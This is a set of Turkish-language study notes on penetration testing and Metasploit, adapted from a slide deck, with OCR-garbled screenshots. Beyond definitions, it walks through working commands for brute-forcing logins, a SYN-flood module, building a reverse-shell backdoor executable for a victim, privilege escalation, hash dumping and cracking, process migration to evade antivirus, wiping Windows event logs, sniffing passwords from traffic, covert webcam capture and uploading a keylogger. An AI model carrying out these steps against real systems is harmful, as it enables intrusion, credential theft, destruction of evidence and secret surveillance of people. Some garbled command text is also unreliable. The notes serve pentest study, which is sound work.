ON BILGI

Bu belge

* https://www.slideshare.net/slideshow/metasploit-framework-eitimi-
67011444/67011444

resmi adresindeki veya linkin kirik olmasi ihtimaline karsin alternatif olarak

e https://www.includekarabuk.com/kitaplik/indirmeDeposu/
Siber_Guvenlik_Teknik_Makaleler/Teori/BaskalarinaAitMakaleler/Pentest
%20ve%?20Metasploit.pdf

adresindeki makaleye calisilarak elde edilen notlarimi kapsamaktadir. Bu cikarilan
notlar belgemde alintilar ve/veya kisisel ilavelerim mevcuttur.



1)

Zaafiyet tarama pentest calismalarinin bir kismidir. Yani penetrasyon testleri zafiyet
taramay! (vulnerability assessment'l) kapsamaktadir.

(page 23)

2)
Pentest

Sisteme sizma, hedef sistemin agina erisim gibi islemlere pentest denir.
Penetrasyon testi hem hedef sistemin disindan hem de hedef sistemin icinden
yapilabilmektedir. Belirli bir stre alir. (ORTA miktarda)

Vulnerability Assessment

Hedef sistemin zafiyetlerinin listelenmesine denir. Vulnerability Assessment hedef
sisteme sadece disaridan yapilir. Cok kisa surer.

Audit

Hedef sistemin uygunsuzluklarini tespit edilmesine denir. Audit islemi hedef sistem
icerisinden yapilir. Cok uzun surer.

(Page 25)

3)
Basarili pentest icin gerekli G¢ bilesen su sekildedir:

Arag
kullanimi

(Page 40)



4)

Pentest konusunda 6zel ekip barindiran guvenlik fimalari:

-Bilgi Glvenligi AKADEMISi http://www.bga.com.tr

-ADEO http://www.adeo.com.tr

-BizNet http://www.biznet.com.tr
-Tubitak UEKAE http://www.uekae.tubitak.gov.tr/
-Lostar B.G http://www.lostar.com.tr
-Avanteg http://www.avanteg.com

(page 55)

5)

Pentest sonrasi sonuclarinin basit acikliklar olarak degil, bu acikhik hackerlar
tarafindan degerlendirilirse su kadar kaybimiz olur gibisinden bir risk haritasi
kapsaminda yonetime sunulmalidir ve aciklarin kapatilmasinin takibi yapiimahdir.

(Page 60)

6)
Pentest Metodoloji Standartlari

Pentest sonuclarinin tekrarlanabilir ve dogrulanabilir olmasi icin standartlara uyumlu
olmasi gereklidir.

-OSTTM(Open Source Security Testing Methodology Manual)
-ISSAF(Information Systems Security Assessment Framework)
-OWASP

-NIST SP800-115

-EC Council’sLPT

-Penetration Testing Framework

OSTTM

Acilimi Open-Source Security Testing Methodology Manual’dir. Teknik detaylara cok
girmeden bir pentest slrecinin nasil yuritilmesi gerektigini anlatir. Yani teorik bir
dokumandir. Fakat her pentest yapan uzmanin bilmesi gereken maddeleri icerir.

http://www.isecom.org/



http://www.isecom.org/

ISSAF

Acilimi Information Systems Security Assesment Framework’tur. Soyle bir akis
diyagramina sahiptir:

(1) Planning & Preparation

Information
Gathering

—
N
-

N

Penetration
Testing

Maintaining Penctration

Access MethOdOIogy o

Compromising Gaining Accoss
Remote Enumerating & Frivilego
Lsers /Site Further Escalation

(3) Reporting, Clean Up and Destroy
Artifacts

A
S
S
E
S
S
M
E
N
T




OWASP

Owasp Testing Guide teknik detay icermez. Yol ve yontem goéstermek amachdir.
Sadece uygulamalarin guvenlik testlerine yoneliktir.

(Page 63-66)

7)

Exploit Nedir?

Pentest calismalarinda ya da siber saldirilarda varolan bir guvenlik zafiyetini
istismar eden ve sisteme sizmaya yol acan yazilima (script'e) exploit denir.

Exploit Cesitleri

Remote Exploits

Hedef sisteme sadece uzaktan erisilerek yapilan istismara denir. Bu istismar
cesidindeki exploit script’lerinin calisabilmesi icin hedef sisteme ag Uzerinden
ulasilabiliyor olunmasi gerekmektedir. Remote Exploit script’leri web tabanl
ya da network tabanl olabilmektedir.

Local Exploits

Sadece uzaktan erisimin yeterli olmadigi, hedef sistem Uzerinde yetkili sistem
hesaplarina ihtiyac duyuldugu istismar sekline Local Exploits denir. Bu tip
istismari gerceklestirebilmek icin Linux sistemi Gzerinde komut calistirabiliyor
duruma gelmek gerekir. Linux kernel exploit script’leri bu istismar tipine en
iyi orneklerden biridir.

Dos-Exploits

Gerceklestirildiginde hedef sisteme erisim izni vermeyen, fakat hedef
sistemin calisamaz/erisilemez hale gelmesini saglayan istismar cesidine Dos-
Exploits denir. Tehlike seviyesi digerlerine gore daha dusuktur.

Command-Execution-Exploits

Genellikle web uygulamalari icin kullanilan bir istismar teknigidir. Web
uygulamasindaki bir glivenlik zafiyetini hedef isletim sisteminde komut
calistiracak sekilde istismar etmeye denir. Web uygulamalarinin sadece
uygulama katmanini degil, tim sistemi etkileyebileceginin en 6nemli
orneklerindendir.

SQL-Injection-Exploits

SQL Injection zafiyeti barindiran sistemlere yonelik gerceklestirilen ve amaci
hedef sistemde arka kapi olusturmak, hedef sistemden bilgi almak olan
istismar tipine denir.



- Zero-Day-Exploits

Acig1 bulan kisinin acikhgi firmaya bildirmeden once agikhidi kullanan ilgili
exploit’i yazmasi sonucu olusan script’e zero-day exploits denir.

(page 75-83)

8)
internette acik barindiran siteleri “Google dorks” yardimiyla bulabiliriz.
(Page 80)

9)
Exploit Edinme Kaynaklari
Exploit’'ler iki sekilde elde edilebilir:

a. Google ve benzeri arama motorlarini kullanarak genele acik (yayinlanmis)
exploit’ler bulunabilir.

b. Sadece belirli kisilerin lye olabilecegi underground forumlardan, IRC
odalarindan ya da disa kapali eposta listelerinden exploit’ler edinilebilir.

(Page 84)

10)

Degerli exploit'ler genellikle genele acilmadan 6nce 2-3 aylik bir satis - 6zel
kullanim - sureci yasarlar.

(page 10)

11)
Zafiyet yayinlayan siteler:

www.exploit-db.com

http://www.securityfocus.com/

https://packetstormsecurity.com/

(Page 85-87)



https://packetstormsecurity.com/
http://www.securityfocus.com/
http://www.exploit-db.com/

12)
Exploit kodunun payload kismi genellikle hex encode seklinde yayinlanir.

(page 89)

13)
Zafiyet bulma ve exploit gelistirme birbirinden farkl uzmanlik isteyen konulardir.

(page 93)

14)

Bazi exploit denemeleri hedef sistemin durmasina, servisin zedelenmesine veya
crash olmasina neden olabilir. Dolayisiyla pentest calismalarinda uygulanacak
exploit 6nce lab ortaminda denenmelidir.

(page 94)

15)
Otomatize Bir Sekilde Exploit Calistirma

Piyasada binlerce exploit vardir. Her bir exploit belirli bir sisteme - yani belirli bir
isletim sistemine ya da belirli bir yazilim versiyonuna - 6zel yazilmaktadir.
Dolayisiyla her birini manuel olarak denemek biraz kualfetlidir. Ayrica tim bu
hamalhgin yani sira hedef sistemin kurulum dili farkli oldugu durumda bile exploit’in
calismama gibi bir ihtimali var oldugundan tim bunlar asmak icin bir framework
gerekir.

NOT: Genellikle local exploit'lerde ( mesela linux kernel’ini ilgilendiren exploit’lerde )
metasploit icin gelistirilmis exploit yoktur. Dolayisiyla bu gibi durumlarda internet
Uzerinden arastirma yapilarak exploit’ler bulunmalidir. Exploit’in indirilecegi site
herhangi bir site olmamalidir. Cunkl sahte exploit sunan bir site olabilir ve boylelikle
sisteminize saldirgan sizabilir.

Otomatize exploit calistiran araclar:

- Core Impact

- Immunity Canvas

- ExploitPack

- Metasploit Framework

- W3af

- SQLMap (Metasploit Destegiyle ? )
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Exploitpack

(Page 96-105)

16)

Linux Local Exploit aramak icin dnce linux kernel versiyonunun belirlenmesi gerekir:
> uname -a
Output:

Linux hefese-N61)q 3.13.0-77-generic #121-Ubuntu SMP Wed Jan 20
10:50:42 UTC 2016 x86_64 x86 64 x86 64 GNU/Linux

(Page 100)



17)
Metasploit Framework Projesi

Metasploit Framework olusturdugu yapi ile givenlik denetgilerine IDS imza
gelistirme imkani vermektedir, exploit kodu arastirma uzmanlarina ve hacker'lara
ise faydali bilgiler sunmaktadir.

(Page 107)

18)
Metasploit Tarihgesi

Metasploit ilk olarak ag givenligi tool'u olarak gelistirilmistir. Ardindan perl tabanli
bir exploit gelistirme catisi olarak kullanima sunulmustur. Daha sonralari ise perl ile
yazilan Metasploit tamamen Ruby ile bastan yaziimistir.

(Page 108)

19)

Unli payload'lar:

- Meterpreter

- VNC DLL Injection

- Binary Upload

- PassiveX

- Adduser

- Download and Exec
(Page 109)

20)
NOP Nedir?

Bellek yeri 6grenmek amaciyla bellegi dolduran bitlere NOP, yani Not Operation
denir. Genellikle saldir tespit ve engelleme sistemlerini yaniltmak icin kullanilir.



Auxiliary Nedir?

Sistemi exploit etmeden 6nce bilgi toplamak ve exploit ettikten sonra da hedef
sistemde ilerlemek amaciyla kullanilan ek programciklara (yardimci araclara)
Auxiliary denir.

(Page 125-127)

21)

Metasploit sizma dncesi ve sonrasi parola deneme saldirilari icin bircok protokoll ve
uygulamay destekleyen Auxiliary'ler barindirmaktadir. Asagida bunlardan birkaci
verilmistir:

Brute Force Attack For Outlook Web App (OWA)
[Denenecek mail sunucu bulunamadi ya da VHOST'u anlamadim]
> use auxiliary/scanner/http/owa_login
> set USERPASS FILE /root/passwords.txt
> set RPORT 443
> set VHOST mail.HEDEFSITE.com.tr // VHOST means Virtual Host

> run

Brute Force Attack For Wordpress
[RHOSTS hata veriyor.]
use auxiliary/scanner/http/wordpress_login_enum

set USERNAME hefese

set RHOSTS https://wordpress.com/wp-login.php

>

>

> set PASS FILE /root/passwords.txt

>

> set VHOST https://wordpress.com/wp-login.php
>

run



Brute Force Attack For SSH

> use auxiliary/scanner/ssh/ssh_login
> set RHOSTS ubuntuipadresi

> set USER_FILE usernames.txt

> set PASS_FILE passwords.txt

> run

NOT: Tez Raporu/internetten Edinilen Kiymetli Bilgiler/Elden Gecirdigim
Notlar/ dizinindeki SSH icin Brute Force yazisinda bunun uygulanisina yer
verilmistir.

Brute Force Attack For MSSQL
> use auxiliary/scanner/mssqgl/mssql_login
> set RHOSTS ipadresi
> set USER_FILE usernames.txt
> set PASS FILE passwords.txt

> run

(Page 149-152)

22)
SMB Uzerinden Versiyon Belirleme

SMB windows isletim sistemlerinde cihazlarin birbirleriyle olan dosya paylasimindan
sorumlu bir servistir. Diger adiyla SAMBA'dir. SMB servisi 445. portta calisir. SMB
servisi Hacker'larin sevecegi bir bilgiyi sunmaktadir. O da hedef sistemin isletim
sistemi ve versiyonu bilgisi. Bu bilgi ile hedef sisteme saldiri dncesi hangi exploit ve
payload seciminde bulunmamiz gerektigini anlayabiliriz. Metasploit'te SMB
Uzerinden isletim sistemi tespiti su sekilde gerceklesir:



> use auxiliary/scanner/smb/smb_version

> set RHOSTS 192.168.1.88

> setg SMBDirect false

> run

Output:
[*] 192.168.2.206:445 is running Windows XP SP2 (language:Turkish)
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

Bunun birebir uygulanigi Tez Rgporu/inter_netten Edinilinmis Kiymetli Bilgiler/Elden
Gecirdigim Notlar/SMB Servisi Uzerinden Isletim Sistemi Tespiti.docx dékimaninda
mevcuttur.

Goruldiugu uzere hedef sistemin XP, versiyonun da Service Pack 2 oldugu tespit
edilmistir.

(Page 155-156)

23)

Metasploit ile DOS saldirisi gerceklestirmek icin
auxiliary/dos/tcp/synflood

modulunu kullanabilrsin.

(Page 157)

24)

Exploit secimi yapildiktan sonra help komutu girildiginde exploit'e ait islem menusu
ekrana gelecektir:

Komut Aciklama
check Hedef Uzerinde exploit basarili bir sekilde calisicak mi diye kontrol
eder.

exploit Hedefe exploit'i gonderir. Yani exploit calistirilir.



pry Secili exploit icin pry oturumu baslatir.

rcheck Hedef sistemin exploit'i yiyip yiyemecegini tekrar kontrol eder.
reload Secili exploit'i konsola tekrar yukler.

rexploit Secili exploit'i tekrar hedefe yollar, yani calistirir.

25)

Binary Payload Uygulamasi

Asagidaki kod ile Metasploit'teki bir payload exe formatina donutsturalur.

> ./msfpayload windows/shell reverse tcp LHOST=192.168.5.99
LPORT=4443 X > /root/Desktop/backdoor.exe

Diyelim ki kurban hazirlanan bu exe'yi indirir. Payload'a cift tikladigi takdirde ters bir
kabuk baglantisi agmis olacaktir. Bizim bu baglantiyi edinebilmemiz icin dinleme
modunda olmamiz gerekir. Asagidaki komut bizi dinleme moduna sokacaktir:

> msfcli exploit/multi/handler PAYLOAD=windows/shell_reverse_tcp
LHOST=192.168.2.8 LPORT=4443 E
Output:
[*] Started reverse handler on 6.6.6.112:4443
[*] Starting the payload handler..

Exe kurban tarafindan cift tiklandigi takdirde konsolumuza asagidaki satirlar
gelecektir:

Output (Cont.) :
2 +0200
Microsoft Windows [Version 6.1.6801]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.

C:\Users\ozanus\Desktop>



Boylece kurbanin komut satiri komut satirrmiza gelmis olur.

(Page 229)

26)
Exploit Sonrasi Sistemde ilerleme

Exploit sonrasi sistemde ilerlemeden kasit hedef sistemin gUvenlik zafiyetini
kullanarak yapilan sizma islemi sonrasi dusuk yetkili ya da yetkisiz bir kullanici
haklariyla sistemi ele gecirebilmek, sistemi ara gecit olarak kullanarak baska
sistemlere atlayabilmektir. Bu bolim exploit sonrasi uzak sistemde ilerleme,
gizlenme ve birakilan izleri silme yontemleri ve uygulanislari anlatilacaktir.

Bu boélimuUn icerigi sunlardan olusmaktadir:
a. Yetki Yukseltme
b. Hashdump
c. Parola Kirma // e.qg. JTR
d. Baska Bir Uygulamaya Bulasmak  // e.g. migrate

D

. Pivoting

—h

Memorydump

g. Uzak Masaustl Baglantisi Baslatmak
g. Hedefin Canh Oturumuna Gegis

h. iz Temizleme

I. Trafik Dinleme (Packet Sniffing)

I. Ekran Goruntusu Alma

j- Ses, Webcam Goruntusu Yakalama

(page 239-241)

27)
Yetki YUkseltme



Hedef sistem kisith kullanici yetkileri ile ele gecirildiginde bu kisith yetkileri
genisletmeye ya da farkh kullanici yetkilerine gecis yapmaya yetki yukseltme
denmektedir.

Ornegin bir sisteme sizdik diyelim ve meterpreter payload'u komut satirmiza geldi.
Bu durumda sahip oldugumuz kullanici yetkisini getuid ile 6grenebiliriz.

meterpreter > getuid

Eger kisith bir kullanici yetkisine sahipsek en Ust yetki sunan SYSTEM kullanici
grubuna gecis icin getsystem komutu kullanilir.

meterpreter > getsystem
meterpreter > getuid
Output:
NT AUTHORITY\SYSTEM
(Page 242-244)

28)
hashdump

Windows sistemlerde SAM database'inden kullanici adlarini ve LM/NTLM
algoritmalari ile sifrelenmis hash'lerini cekmeye yarayan bir moduldar.

Diyelim ki netapi ile hedef sisteme sizdik ve meterpreter session'i elde ettik. Bu
durumda bu session'dan hedef sistemin hash'lerini hashdump modulu ile cekebiliriz.

meterpreter > background

msf > use post/windows/gather/hashdump
msf > sessions

Output:

Active sessions



id Type Information Connection
1 meterpreter NT AUTHORITY\ 192.168.2.188
x86/win3w SYSTEM @PENTEST - 192.168.2.206

msf post(hashdump) > set SESSION 1

msf post(hashdump) > run

Output:

(Page 245)

29)

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY cd1b0dkjfhgdfkljfs....
[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hints...

[*] Dumping password hashes...

Administrator:500:aslsdkjfkldsjfdsjfsksdjfsjsdakfsdkghifsdjiejfjse:::
Guest:501:dsjgdfjioewjfevmaocmviwjfdskmfkdsif:::
HelpAssistant:1080:turtretoperiwejriweurewjopsdjovjsd:::
SUPOORT_38945a0:1002:jfskjflksdjfkjdskjfdnvndsjvds;j:::

pentest:1003:eiruoiewrncxomvnxcolufioweksdfsdjcoekrpoewdsf:::

Password Cracking // Bu tam gerceklestirilemed.i...

Metasploit'te John The Ripper icin bir modual ayrilmistir. Yukaridaki asamada
cektigimiz hash'lerin her birini otomatik bir sekilde bu modul ile kirabiliriz.

msf post(hashdump) > use auxiliary/analyze/jtr_crack fast

msf auxiliary(jtr_crack_fast) > run

Output:

[*] 3 password hashes cracked, 0 left.

[+] Cracked: administrator:pentest



[+] Cracked: guest:
[+] Cracked: pentest:
(Page 246)
30)
Baska Bir Uygulamaya Bulasmak

Meterpreter ajani kendini baska process'lere bulastirabilmektedir. Bunu migrate
komutu ile gerceklestirmektedir. Bulastigi zaman bulastigi process'in boyutunda
herhangi bir degisiklik olusturmaz. Dolayisiyla fark edilmesi gugtir. Antivirus ve
antilogger gibi guvenklik kontrollerini bypass etmek icin meterpreter tercih
edilmektedir.

Kullanimi su sekildedir. Oncelikle hedef sistemdeki process'ler ve pid'leri ps komutu
ile dgrenilir. iclerinden secilen bir process'in pid'si migrate komutu ile kullanihr ve
boylelikle meterpreter bir baska process'e tasinmis (bulasmis) olur. Asagida bir
ornek verilmistir:

meterpreter > ps

Output:
PID Name User Path
860 explorer.exe pentest C:\Windows\explorer.exe

meterpreter > migrate 860
Output:
[*] Migrating to 860...
[*] Migrating completed successfully.
meterpreter > getuid
Output:
Server username: PENTEST-WINXP\pentest
(page 247-249)

31)



Pivoting

Uzak agi dis dinyaya acmak icin kullanilir. Yani firewall veya router(NAT)
arkasindaki yerel IP adresine sahip sistemlere erismek icin kullanilir. Bu islem VPN
tuneline benzetilebilir.

(Page 250)

32)

Hedefin Canli Oturumuna Gecis

meterpreter > run vnc

Output:

(Page 258)

33)
izleri Temizleme

Sizma girisimi ani, sonrasi, payload'un ¢alismasi vs... her biri windows'ta olaganusti
hal demektir ve sistemin tasarlanisindaki kabiliyete gére tim bunlar
log'lanmaktadir. Bu log kayitlarini silmek icin meterpreter bircok shell satirini bir
koda sigdiran bir komut sunmaktadir. O komut event_manager 'dir. Kullanimi su
sekildedir:

> run event_manager -c



Bdylece log kayitlari sunu goésterirken

A Computer Management (Local
a ||} System Tools
(5 Task Scheduler
a {2] Event Viewer
4 | Custom Views
W Administrative E
4 | n Windows Logs
;1 Application
;1 Security
| Setup
| System
| Forwarded Event

Keywords
"I;l'CIassic
"I;l'Classic

| I | Service..
¥ Service...

| I | Classic
| I | Classic
"I;I'Classic
| I | Classic
| I | Classic

(i) Classic

Date a...
2723/2...
2/23/2...
2723/2...
2/23/2...
2/23/2...
2723/2...
2/2372...
2723/2..,
2723/2...
2/23/2...

Source
BROWSER
MetBT
Eventlog
Eventlog

Service Cont...

Service Cont..,

MetBT

Service Cont...
Service Cont...
DistributedC...

Event...

&020
431
25

23
7036
7036
431
7036
7036
10029

Task Category

Mone
Mone
Service startup
Service startup
Mone
Mone
Mone
Mone
Mone

Maone



artik bunu gosterir duruma gelecektir:

& U'?!llzumputerManagement (Local Keywords Datea.. Source Event.. Task Category
a (i System Tools = i o i i .
_ @ Tack Scheduler *;#.‘Audlt w2372, Microsoft Wi.. 4672 Special Logen
4 [ Event Viewer '*_—#.‘Audlt... 2/23/2...  Microsoft Wi.., 4624 Logon
. F Custom Views L Audit.. 2/23/2..  Microsoft Wi... 4672  Special Logon
W Administrative E '*“t—'}ﬁﬁudit... 2/23/2...  Microsoft Wi.. 4624 Logon
P l_ Windows Logs '*?.—\';.‘Audit wo 223720, Microsoft Wi, 4672  Special Logon
‘T| Application '*“?&.‘Audit... 2/23/2...  Microsoft Wi... 4624 Logon
"—| Security ."Zl‘\._..n':'l.l.ldit... 2/23/2...  Microsoft Wi... 4624 Logon
= Setup '*%Audit... 2/23/2...  Microsoft Wi... 4648 Logon
& System G Audit.. 2/23/2.. Microsoft Wi... 4616 Security State ..
=| Forwarded Eveni | 2, Audit.. 2/23/2.. Microsoft Wi.. 4672 Special Logon

Yani hedef sistemdeki windows log'lari silinmek suretiyle kanitlar temizlenmistir.

NOT: Windws log'larini Denetim Masasi->Yodnetimsel Araclar->0lay Goruntuleyicisi
'nden goruntuleyebilirsin.
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34)
Packet Sniffing

Uzak bir sistem ele gecirildiginde o sistemde ilerlemek icin elde edilebilecek kritik
bilgilerden biri de network trafigidir. Hedef sistemin Uzerinden http, ftp, smtp,
pop3,... trafigi akiyor olabilir ve bu akisin icerisinde sifre bilgileri yer aliyor olabilir.
Hedef sistemin ag kartini, yani hedef sistemin tim trafigi meterpreter payload'unun
bir alt modulu olan sniffing ile dinleyebilir, hassas verilere erisebiliriz. Meterpreter'in
sniffer alt modulinun kullanimi su sekildedir:

meterpreter > use sniffer

sniffer modulinun secenekleri ise su sekildedir:



meterpreter > help

Output:

Sniffer Commands

sniffer_dump
sniffer_interfaces
sniffer_start
sniffer_stats

sniffer_stop

sniffer_dump

- Yakalanan trafigi pcap uzantili dosya olarak kaydeder.
sniffer_interfaces

- Hedef sistemdeki ag birimlerini (interface'lerini) listeler.
sniffer_start

- Belirtilen ag birimi (interface'i) icin paket yakalamay baslatir.
sniffer_stats

- Dinlenen ag biriminin dinleme slresince tutulan istatistiklerini gérinttler.
sniffer_stop

- Belirtilen ag birimi (interface'i) icin paket yakalamayi durdurur.
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35)
Packet Sniffing Ornegi
Oncelikle hedefe kesif yapalim.

meterpreter > use sniffer

meterpreter > sniffer_interfaces



Output:

1 - 'AMD PCNET Ailesi PCI Ethernet Bagdastiricisi' ( type:0 mtu:1514
usable:true dhcp:true wifi:false )

1 numarall interface'ten 20000 tane paket yakala emrini payload'a verelim:

meterpreter > sniffer_start 1 20000

Output:
[*] Capture started on interface 1 (20000 packet buffer)

Arada sniffing durumunu gozlemlemek icin sniffer_stats kullanilabilir.

meterpreter > sniffer_stats 1  // 1 nolu interface'in istatistikleri
Output:

[*] Capture statictics for interface 1

packets: 4085

bytes: 569713

Gozlemlenen istatistikler sonucunda arzulanan sayida paket yakalandigi
dusunidldigunde yakalanan paketleri uzak sistemin bufferin'dan indirerek bir
dosyaya asagidaki gibi yazdirinz.

meterpreter > sniffer_dump 1 /root/Desktop/win2.cap
Output:

[*] Flushing packet capture buffer for interface 1...

[*] Flushed 4095 packets (569713 bytes)

[*] Downloaded 022%

[*] Downloaded 044%

[*] Downloaded 066%

[*] Downloaded 089%

[*] Downloaded 100%

[*] Downloaded completed, converting to PCAP...

[*] PCAP file writtento /root/Desktop/win2.cap



Dosyalanan trafige Wireshark'in filter'i ile madencilik yapabilir ve kullanici adi ve
sifre gibi hassas verileri tim trafigin icerisinden cimbizlayabiliriz. Bunu gerceklemek
icin 6ncelikle tim trafigi barindiran dosyanin wireshark'a dahil edilmesi
gerekmektedir. Bunun icin win2.cap dosyasini Wireshark'in Gzerine suruklemek
yeterlidir. Ardindan Wireshark'in filter kutusuna asagidaki yazilmahdir:

http.request.method == “POST”

POST methoduna goére sonuc¢ daraltmasina gidilmesi tercih edildi, ctnkd kullanici adi
ve sifre gibi bilgiler cogunlukla web sitelerinden sunucuya HTTP POST methodu ile
gitmektedirler. Daralanan sonuglardan gézimuze kestirdigimiz paketi secelim
(Mesela includekarabuk'un /adminPaneli/index.php sayfasi):

Click to view your appointments and tasks

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

B &l &l =1 C&s o @ > 7 3 EHE »wowuBFA &F =

Filter: ‘http.request.method =="POST" | T | Expression... Clear Save
e Source Destination Protocol Length Info
200000 192.168.2.206 93.184.220.29 ocsP S03 Request
elelolololo] 192.168.2.206 216.58.212.14 ocsP S01 Request
slololololo] 192.168.2.206 93.184.220.29 ocsP S03 Request
000000 192.168. 2. 206 93.184.220.29 oCcsP 503 Request
200000 152.168.2.206 93.184.220.29 ocsP 502 Request
ID00000 192.168.2.206 93.89.224.247 HTTP 662 POST /adminPaneli/yorumOnayi.php HTTP/1.1 (applicatio
200000 192.168.2.206 93.184.220.29 oCcsP S03 Request
Molalolololc] 192.168.2.237 93.89.224.247 HTTP 768 POST /fadminPaneli/index.php HTTP/1.1 (application/x-wh
. 000000 192.168.2.237 93.89.224.247 HTTP 826 POST sadminPaneli/yorumOnayi.php HTTP/1.1 (applicatiol
(<] I m [

P Frame 1493: 615 bytes on wire (4920 bits), 615 bytes captured (4920 bits)

P Ethernet II, Src: CadmusCo_lb:cd:a6 (08:00:27:1b:cd:a6), Dst: AirtiesW_fa:64:19 (18:28:61:fa:64:19)

P Internet Protocol Version 4, Src: 192.168.2.206 (192.168.2.206), Dst: 93.89.224.247 (93.89.224.247)

P Transmission Control Protocol, Src Port: cardax (1072), Dst Port: http (80), Seq: 1225, Ack: 2299, Len: 561

b Hypertext Transfer Protocol

P Line-based text data: application/x-www-form-urlencoded

Ardindan sectigimiz pakete sag tiklayip Follow TCP Stream diyerek paketin igini
okuyabilecegimiz pencereyi acalim:



win2.cap [Wireshark 1.8.5]

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

Bl o o & * e&a o €9 32 F %

&
@
B
K

Filter: [http.raquast.mefho == "POST" ] = l Expression... Clear “ppl, Save
e Source Destination Protocol Length Info
200000 192.168.2. 206 93.184,.220.29 ocsP S03 Request
plelojolole] 192.168.2. 206 216.58.212.14 ocsP S01 Request
200000 192.168.2. 206 93.184.220.29 ocsP S03 Request
plelololole] 192.168.2. 206 93.184.220.29 ocsP | Mark Packet (toggle)
200000 192.168.2. 206 93.184.220.29 ocsP |

Ignore Packet (toggle) hp HTTP/1.1 (application/x-

192.168.2.

4

200000 152.168.2.206 93.89.224.247 HTTP Set Time Reference (toggle) ayi.php HTTP/1.1 (applicatio
200000 192.168.2. 206 93.184.220.29 ocsP | ) } .
Nclclolololo] 192.168.2.237 ©3.89.224. 247 HTTP Time Shift... hp HTTP/1.1 (application/x-w
.000000  192.168.2.237 93.89.224,247 HTTP Edit or Add Packet Comment... layi.php HTTP/1.1 (applicatio
Manually Resolve Address
A Apply as Filter by =
P Frame 1493: 615 bytes on wire (4520 bits), 615 bytes captured (j Prepare a Filter
P Ethernet II, Src: CadmusCo_lb:cd:a6 (08:00:27:1b:cd:a6), Dst: Aj X ‘ 19)
D Internet Protocol Version 4, Src: 192.168.2.206 (192.168.2.208), Conversation Filter > laz)
P Transmission Control Protocol, Src Port: cardax (1072), Dst Por Colorize Conversation > 9., Len: 561
"3
D Line-based text data: application/x-www-form-urlencoded I SCTP >
| Follow SSL St —
Follow TCP Stream Hl:i

Stream Content

[Sec.=]le... Y. .= ... By iR s - u....$' ......... el e s S e Sr.%t.=.

&..(.d..TB....... 8.'.4.d.3j...0. I Y T TR~ N T . K 1= = 3 A e.

$...F............N...@....ve {..#..'I..' N - PR, "

By o 6L F Bl B - R ] T R R s R T o el o 1 o o o [
L .I.’slel, .....
i ..mlB. .. SIET 1 M RI nD..;...8Ek.MF6...J..a.~"....:e
o X . 0<PBM. .D. ‘I: 22, ol BOE. s = (et g b
MjO.eCr e i A nnnea B #1.."., | ...POST /admlnpanell/lndex php HTTP/1.1

Host: www.i1ncludekarabuk.com

lUser-Agent: Mozilla/S5.0 (Windows NT S5.1; rv:44.0) Gecko/20100101 Firefox/44.0
|Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|aAccept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3

\Accept-Encoding: gzip, deflate

Referer: http://www.includekarabuk.com/adminPaneli/index.php

Cookie: PHPSESSID=fd310936c23f504bdo4288d5f144cafta

|IConnection: keep-alive

|Content-Type: application/x-www-form-urlencoded

|Content-Length: 46

ttp > carc

I e L L e e el e A e i gson Lline=1HTTP/1. 1 200 OK umonayi . pk
[Expire hu, 19 Nov 1981 08:52: GMT I

Cache- rol: no-store, no-cac must-revalidate, post-check=0, pre-check=0

Pragma #no-cache

Contengf- Type: text/html Ll h:84:19)
Contegl .| ennth- b b2a4.247)
lEnti conversation (12594 bytes) \ = l cEE= SRR BB

Find | Save As Print O Ascll O EBCDIC O Hex Dum O CArra @ Raw
| l | P ve

[ Help ( Filter Out This Stream l I Close l

UoU I8 28 61 Ta 54 19 US OO 27 1D ©d as uUs ug 45 oo PR T L PR
0010 02 59 07 Oc 40 00 80 06 ef cb cO a8 02 ce Sd S9 e N B inie aeow mieie 1y

Goruldugu uzere paketin icerisindeki POST edilen degisken ve degerleri kullanici adi
ve sifre imis. Boylelikle hedef sistemden kacirdigimiz trafik bilgilerini cimbizlayarak
hassas verilere ulasmis olduk.
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36)
Ekran Goruntusu Alma

Hedef sistemin ekran gorintlisunu meterpreter payload'unun bir alt modulu olan
screenshot ile alabiliriz.

meterpreter > screenshot
Output:
Screenshot saved to: /root/GHCAIYd].jpeg

WRmwpPsm.jpeg

Image Edit View Go Help

55%

meterpreter = screenshot

Sc reenshot savid to: JSroot/WRmwpPsm. j peg_

(Page 267)




37)
Webcam'den Goruntli Cekme

Hedef bilgisayarda bagh bir webcam varsa meterpreter'in webcam'le alakali modulu
gizlice géruntl almayi saglamaktadir. Hedef sistemde mevcut webcam'i ya da
webcam'leri listelemek icin webcam_list kullanilir:

meterpreter > webcam_list
Output:
1: Acer Crystal Eye Webcam

Hedef sistemin webcam'inden goruntu almak icin webcam_snap modulu kullanilir:

meterpreter > webcam_snap
Output:
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/VHBWSraf.jpeg

Boylelikle hedefin resmi cekilmis olur.
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38)
Canli Webcam Goriintisi izlemek

Hedefin webcam'inden hedefi canli olarak izlemek icin run webcam komutu
kullanilir:

meterpreter > run webcam -p /tmp



Output:
[*] Starting webcam 1: Acer Crystal Eye webcam
[*] View live stream at: /tmp/webcam.htm
[*] Image saved to: /tmp/webcam.jpg

~C [*] Stopping webcam

/tmp dizinindeki webcam.html dosyasini tarayicidan acarak hedefi canli olarak
izleyebiliriz.
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39)
Hedef Sisteme Dosya Yukleme

Hedef sisteme dosya yuklemek icin meterpreter payload'unun bir alt modilu olan
upload komutu kullanilir. Ornegin asagida hedef sisteme keylogger.exe dosyasini
yollama islemi gosterilmistir;

meterpreter > upload /root/keylogger.exe C:\
Output:
[*] uploading : /root/keylogger.exe -> C:\

[*] uploaded : /root/keylogger.exe -> C:\keylogger.exe

Boylece hedef sistemin C surucustunun kok dizinine keylogger.exe upload edilmis
oldu.
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40)
Hedef Sistemde Dosya Arama

Hedef sistemde spesifik bir dosya ariyorsak bunun icin meterpreter payload‘'unun
search modulunu kullanabiliriz.



meterpreter > search -f *.rtf /] -f takes pattern.
Output:
C:\Documents and Settings\pentest\Desktop\zararliBelge.rtf

C:\Documents and Settings\pentest\Desktop\deneme.rtf

Yukaridaki kullanim ile hedef sistemdeki tUm rtf uzantili dosyalar listeletmis oluruz.
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41)
wmap

